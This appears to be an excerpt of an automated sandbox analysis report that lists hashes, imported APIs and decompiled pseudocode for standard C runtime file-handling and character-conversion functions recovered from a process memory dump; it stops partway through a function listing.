Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 04001B40, Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 04001B56
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 04001B7F
GetLastError.KERNEL32 ref: 04001B90
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 04001BA8
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 04001BD0

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 406ac6e89c5041ca1a2369f0b737fa6355ed9c7f91901f1d07f89af8806eb67b
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4411C4315003147BE3309B158C88F677FACEB86BA9F04C214FD55AE281DB22B804C6F4

Uniqueness

Uniqueness Score: -1.00%

Function 0400C998, Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0400C9CC
__locking.LIBCMT ref: 0400C9E1

Part of subcall function 0400C211: __getptd_noexit.LIBCMT ref: 0400C211

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __fileno__getptd_noexit__locking
String ID:
API String ID: 630670418-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 1f8268e3e149a7530081d0050f9a72c81bed7ce6c07aed0c62cbf422d18f9f69
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: D251B171A08209AFFB18CF68C980B9DBBB5AF45358F14C369D915B72D1E374BA40CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748, Relevance: 6.1, APIs: 4, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 0400BCFA, Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0400BDBE
__fileno.LIBCMT ref: 0400BDDE
__locking.LIBCMT ref: 0400BDE5
__flsbuf.LIBCMT ref: 0400BE10

Part of subcall function 0400C211: __getptd_noexit.LIBCMT ref: 0400C211

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: __fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 1291973410-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 59eac872fc46f6558bc644e17f30eedcee727a0bf06245736c41094d9ac5c0b3
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: 8241A131A00644ABFB649FE9888469EBBF5EF80764F24C52AD425BB1C0E770FA418B41

Uniqueness

Uniqueness Score: -1.00%

Function 04005F50, Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04005FA4
_memset.LIBCMT ref: 04005FBF
_fseek.LIBCMT ref: 0400602D

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: 3bd2f2d8eac6df4e6d9de23fbf645f922930db1422e5ce6033109f486153b5b5
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 1C41D372640B015AF7708A2DAD0476772E69FC0328F158F2CE5A6E36D0E732F459CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000014.00000002.455374611.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.455638969.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000014.00000002.455656768.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 040154EF, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 04015523
__isleadbyte_l.LIBCMT ref: 04015557
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?), ref: 04015588
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?), ref: 040155F6

Memory Dump Source

Source File: 00000014.00000002.459093242.0000000004000000.00000040.00000001.sdmp, Offset: 04000000, based on PE: false

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: ea7b53a7f401a207bc52509e3149bfabca9b586557d2a121c4e69ae6d0ce3fde
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 09317E31610245FFDB60EF64CCA4AAE3BF6BF81314F148569E466AF1A0E730E950DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
